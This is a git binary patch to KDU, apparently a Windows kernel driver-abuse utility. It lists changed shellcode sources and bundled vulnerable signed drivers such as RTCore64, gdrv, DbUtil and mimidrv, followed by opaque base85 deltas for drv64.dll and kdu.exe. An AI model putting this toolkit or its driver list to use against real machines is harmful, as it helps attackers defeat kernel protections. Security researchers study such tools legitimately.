From 8fc01fd8cc8cf221dd6d7d2f41579ec20d03581d Mon Sep 17 00:00:00 2001 From: hfiref0x Date: Fri, 18 Feb 2022 23:55:07 +0700 Subject: [PATCH] v 1.2.0 --- Bin/drv64.dll | Bin 645120 -> 645120 bytes Bin/kdu.exe | Bin 304128 -> 304128 bytes KDU.sha256 | 88 ++--- README.md | 2 +- Source/Hamakaze/KDU.vcxproj.user | 4 +- Source/Hamakaze/consts.h | 2 +- Source/Hamakaze/drvmap.cpp | 1 + Source/Hamakaze/global.h | 2 +- Source/Hamakaze/idrv/dbk.cpp | 58 ++- Source/Hamakaze/ipcsvc.cpp | 432 +++++++++++------------ Source/Hamakaze/kduplist.h | 3 +- Source/Hamakaze/kduprov.cpp | 4 +- Source/Hamakaze/kduprov.h | 1 + Source/Hamakaze/res/SB_SMBUS_SDK.bin | Bin 49450 -> 49450 bytes Source/Hamakaze/res/Taigei32.bin | Bin 2622 -> 2622 bytes Source/Hamakaze/shellcode.cpp | 160 +++++---- Source/Hamakaze/shellcode.h | 15 +- Source/Hamakaze/wdksup.h | 12 +- Source/Tanikaze/data/AsusCertService.bin | Bin 159488 -> 159488 bytes Source/Tanikaze/data/KMUEXE.bin | Bin 91965 -> 91965 bytes Source/Tanikaze/data/KMUSIG.bin | Bin 170 -> 170 bytes Source/Tanikaze/data/dbutilcat.bin | Bin 5973 -> 5973 bytes Source/Tanikaze/data/dbutilinf.bin | Bin 961 -> 961 bytes Source/Tanikaze/drv/ATSZIO64.bin | Bin 10480 -> 10480 bytes Source/Tanikaze/drv/AsIO3.bin | Bin 23237 -> 23237 bytes Source/Tanikaze/drv/DbUtil2_3.bin | Bin 7938 -> 7938 bytes Source/Tanikaze/drv/DirectIo64.bin | Bin 22129 -> 22129 bytes Source/Tanikaze/drv/EneIo64.bin | Bin 9168 -> 9168 bytes Source/Tanikaze/drv/EneTechIo64.bin | Bin 10975 -> 10975 bytes Source/Tanikaze/drv/GLCKIO2.bin | Bin 10566 -> 10566 bytes Source/Tanikaze/drv/MsIo64.bin | Bin 14068 -> 14068 bytes Source/Tanikaze/drv/Phymemx64.bin | Bin 13875 -> 13875 bytes Source/Tanikaze/drv/RTCore64.bin | Bin 7605 -> 7605 bytes Source/Tanikaze/drv/WinRing0x64.bin | Bin 7989 -> 7989 bytes Source/Tanikaze/drv/asio2.bin | Bin 19306 -> 19306 bytes Source/Tanikaze/drv/dbk64.bin | Bin 51941 -> 51941 bytes Source/Tanikaze/drv/dbutildrv2.bin | Bin 13068 -> 13068 bytes Source/Tanikaze/drv/ene2.bin | Bin 11550 -> 11550 bytes Source/Tanikaze/drv/gdrv.bin | Bin 12988 -> 12988 bytes Source/Tanikaze/drv/gmerdrv.bin | Bin 28189 -> 28189 bytes Source/Tanikaze/drv/iQVM64.bin | Bin 16988 -> 16988 bytes Source/Tanikaze/drv/kprocesshacker.bin | Bin 19038 -> 19038 bytes Source/Tanikaze/drv/lha.bin | Bin 12338 -> 12338 bytes Source/Tanikaze/drv/mimidrv.bin | Bin 15718 -> 15718 bytes Source/Tanikaze/drv/procexp.bin | Bin 18571 -> 18571 bytes Source/Tanikaze/drv/rtkio64.bin | Bin 25003 -> 25003 bytes 46 files changed, 396 insertions(+), 388 deletions(-) diff --git a/Bin/drv64.dll b/Bin/drv64.dll index c38e133932605fbc17077eea68949fa75b3c6035..f22c4c2b0c000c639e18e9ecff581d7e0412ff22 100644 GIT binary patch delta 398 zcmZqJpx&@SeZmIjT2a1FFyCwxZweK=yVaKE_XGY)pBc zAP$!+qmw4vrx&|HoS;0$Q_5_Ys`Ee`rAdrN@@zuY`$3$jjf}Un*fuprgE&@q7>&%> zjLb4XoFXBnRf%ku<}3s2DPfY*Wm9_M4B|K~WHK^fGh&_w;#6H^%JOD2@?QYrypmxq z3S%=WN&<0`ikYSI*be1YfH+MLnVIC-lu~PeoUL6f$+oOF3PIwZY+0hcSbvp)*g+jE z+{UaS;vja?Zk8Z%wo4mDK%8BdSPnC@TId1U?M>HMwl`g4wMu7ul&TFBn10BXZ53Nl q0~bhPksaHkQ*2F7SwNg9PWD4lY@gWdK-!d2*nya1yHX10yHGT}Et4ci)59N>5*DuwD8$3&`Fs#K-u_jBV5P zJ`jh?mC;F)t*P`ch!d2@cuJX#sd7Dtqcn-pNS9SqA(+c7^Eo3q>U`yKk3dE_p$du*HRwVEk#Cavd zTolG8v}Xy3lT^$smB*&^eJ6<1^pKfJp3P|IZXjoC7fZ4&>+KC7@lUoa(O#@aw}RL~ z9W30&th1s(?4;c+LE>yhFC##lU6)u6Gqd^y0@>|N*I2eUU1POMXPfjb9w;#VkS*IP sHYW>DkisH6wnwMflD0X6I8mJJhoaav+2@0_DW$LjF~@eL6wZ6a0N5U*@Bjb+ diff --git a/Bin/kdu.exe b/Bin/kdu.exe index f788246e5f4e7020bc2260d3a0f784b21537ffa3..2d55ee4cfffc42b8f756593ff94f267dea526220 100644 GIT binary patch delta 37459 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 